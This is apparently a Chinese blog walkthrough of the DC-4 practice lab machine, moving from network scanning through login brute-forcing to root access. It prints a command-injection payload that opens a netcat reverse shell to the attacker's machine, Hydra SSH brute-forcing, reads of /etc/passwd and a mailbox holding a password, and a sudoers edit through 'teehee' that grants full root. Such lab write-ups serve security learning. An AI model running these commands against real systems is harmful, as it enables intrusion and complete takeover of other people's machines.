DC-4 靶机攻防实战:信息枚举、反弹 Shell 与 teehee 命令提权完整复盘

DC-4 靶机攻防实战:信息枚举、反弹 Shell 与 teehee 命令提权完整复盘
28.7的博客DC-4靶机渗透测试WP
其他靶机
涉及资源均已共享
一、信息收集
1. ARP扫描确认靶机IP
通过arp-scan命令快速扫描局域网内设备,确认DC-4靶机IP地址为 192.168.20.185。
1 | arp-scan -l |
2. Nmap端口扫描
使用nmap扫描靶机开放端口,确认基础服务情况(默认扫描常用端口)。
1 | nmap 192.168.20.185 |
3. Web页面初步探测
访问靶机Web页面(基于Nmap扫描结果的Web端口),显示账户密码登录界面。使用Wappalyzer工具探测,未识别到明确的Web框架信息。
4. 登录界面爆破
针对登录界面的admin账户进行密码爆破,成功获取密码为 happy。
5. Web端命令执行(RCE)
登录后,点击功能模块List Files并点击Run按钮,使用Burp Suite抓取请求包,发现请求参数radio存在命令注入漏洞,可直接执行系统命令。
通过修改radio参数验证RCE,命令执行成功:
二、NC监听反弹Shell
1. Kali端启动NC监听
在Kali攻击机上创建6666端口的监听,用于接收靶机的反弹Shell:
1 | nc -lvp 6666 |
2. 构造反弹Shell命令
在Burp Suite中修改radio参数,以+为分隔符拼接反弹Shell命令(靶机IP为192.168.20.172,需替换为实际KaliIP):
1 | radio=nc+192.168.20.172+6666+-e+/bin/bash&submit=Run |
3. 接收Shell并补全环境
Kali端成功接收到靶机的bash Shell,当前权限为www-data:
使用Python命令补全交互式Shell环境,方便后续操作:
1 | python -c "import pty;pty.spawn('/bin/bash')" |
三、内网信息收集与SSH爆破
1. 查看/etc/passwd确认可登录用户
读取/etc/passwd文件,发现3个可登录的普通用户(/bin/bash结尾):
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bashjim:x:1002:1002:Jim,,,:/home/jim:/bin/bashsam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
2. 获取密码字典
进入/home/jim/backups目录,发现密码备份文件old-passwords.bak,内容为潜在密码列表:
1 | cd /home/jim/backups && cat old-passwords.bak |
3. Hydra爆破Jim的SSH密码
将old-passwords.bak内容复制到Kali,使用Hydra工具爆破jim用户的SSH密码(靶机IP需替换为实际地址,此处原命令为192.168.20.227,以实际环境为准):
1 | hydra -l jim -P old-pass ssh://192.168.20.227 -vV |
成功爆破出jim的密码:jibril04。
四、横向移动:获取Charles密码
1. 查看Jim的邮件
切换到jim用户后,进入/var/mail目录,读取jim的邮件,发现Charles发送的包含密码的邮件:
1 | cat /var/mail/jim |
邮件内容核心:Charles的密码为 ^xHhA&hvim0y(注意用户名是小写charles)。
五、提权:获取root权限
1. 查看Charles的sudo权限
切换到charles用户(使用密码^xHhA&hvim0y),执行sudo -l查看可执行的特权命令:
1 | sudo -l |
发现charles可无密码执行/usr/bin/teehee命令。
2. 利用teehee修改sudoers提权
teehee命令功能与tee类似,支持追加写入文件且无密码执行。通过向/etc/sudoers文件追加内容,赋予charles无密码执行所有sudo命令的权限:
1 | echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers |
命令解释:
charles ALL=(ALL:ALL):允许charles以任何用户/组身份执行命令;NOPASSWD:ALL:执行sudo时无需输入密码;sudo teehee -a /etc/sudoers:通过sudo调用teehee,将内容追加到/etc/sudoers(-a为追加参数)。
3. 切换root用户
修改/etc/sudoers后,执行sudo su -直接切换到root用户,完成提权:
1 | sudo su - |
1 | root@dc-4:~# cat flag.txt |















